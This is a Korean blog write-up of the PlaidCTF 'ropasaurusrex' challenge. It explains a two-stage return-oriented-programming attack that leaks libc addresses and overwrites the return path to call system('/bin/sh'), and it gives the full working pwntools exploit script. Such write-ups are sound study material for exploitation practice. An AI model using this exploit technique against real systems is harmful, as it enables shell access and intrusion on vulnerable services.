[PlaidCTF] ropasaurusrex
2018. 8. 27. 23:41
보통 rop 공부를 할 때, 풀어보는 문제 1순위권에 들어간다고한다. 문제이름도 rop어쩌구저쩌구이니 그럴만하다고 생각한다.
(물론 나는 이제 풀어보지만)
어쨋든 오늘은 고향으로 내려오는데 비가 겁나게 내려서 고생하고, 각종 대중교통에 시달려서 피곤해서;;
왠지 쉬울것같기도하고 예전에 rop공부하면서 "풀어봐야지~ 풀어봐야지~"하면서 결국 안푼 ropasaurusrex를 꺼내왔다.
그런데 쉬움 ㅇㅇ
writeup이 이제와서는 그냥 저냥 스샷도없고 말로만 설명하게 된다. 이게 귀차니즘이란건가
아마 이 롸업을 보는 사람이 있다면 이 문제를 풀어보려하거나 문제를 풀고 다른 사람이 어떻게 풀었는지 보는 사람일테니
바이너리랑 익스코드만 올리겠당..
바이너리는 여기
익스는 대충 이렇다.
#stage 1
1. BOF를 일으켜 ROP한다.
2. write(1, read@got, 4)로 read의 주소를 leak
3. read(0, bss영역주소, 8)로 "/bin/sh"를 bss영역에 쓴다.
4. 2에서 leak한 read주소로부터 system함수의 주소를 구한다. (함수 오프셋이용)
5. 다시 main으로 점프한다.
위 단계를 마치게되면, system함수의 주소와 "/bin/sh"가 bss영역에 쓰여있게 된다.
그리고 다시 main으로 돌아왔으므로, 다시 bof를 일으키고 system("/bin/sh")로 뛰게하면 된다.
끝
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | #!/usr/bin/env python from pwn import * conn = process("./ropasaurusrex") main_addr = 0x804841d read_plt = 0x804832c write_plt = 0x804830c pppr = 0x80484b6 read_got = 0x804961c write_got = 0x8049614 bss = 0x8049628 payload = "A"*0x88 #buf payload += p32(0xdeadbeef) #sfp # write stdout , read's address payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) # bss <- "/bin/sh" : read stdin payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(bss) payload += p32(8) payload += p32(main_addr) conn.sendline(payload) read_addr = u32(conn.recv(4)) system_addr = read_addr - 0x9ad60 log.info("read_address : 0x%x" % read_addr) log.info("system_address : 0x%x" % system_addr) # read(0, bss, 4) <- "/bin/sh\x00" conn.send("/bin/sh\x00") payload = "A"*0x88 #buf payload += p32(0xdeadbeef) #sfp # system("/bin/sh") payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(bss) conn.sendline(payload) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[9447 CTF 2015] Search Engine (1) | 2018.09.30 |
---|---|
[noxCTF] The Black Canary writeup (0) | 2018.09.13 |
[Codegate] BugBug (0) | 2018.08.22 |
[hackcon18] Simpe Yet Elegent (0) | 2018.08.18 |
[WhiteHatWargame.vn] nobaby (0) | 2018.08.13 |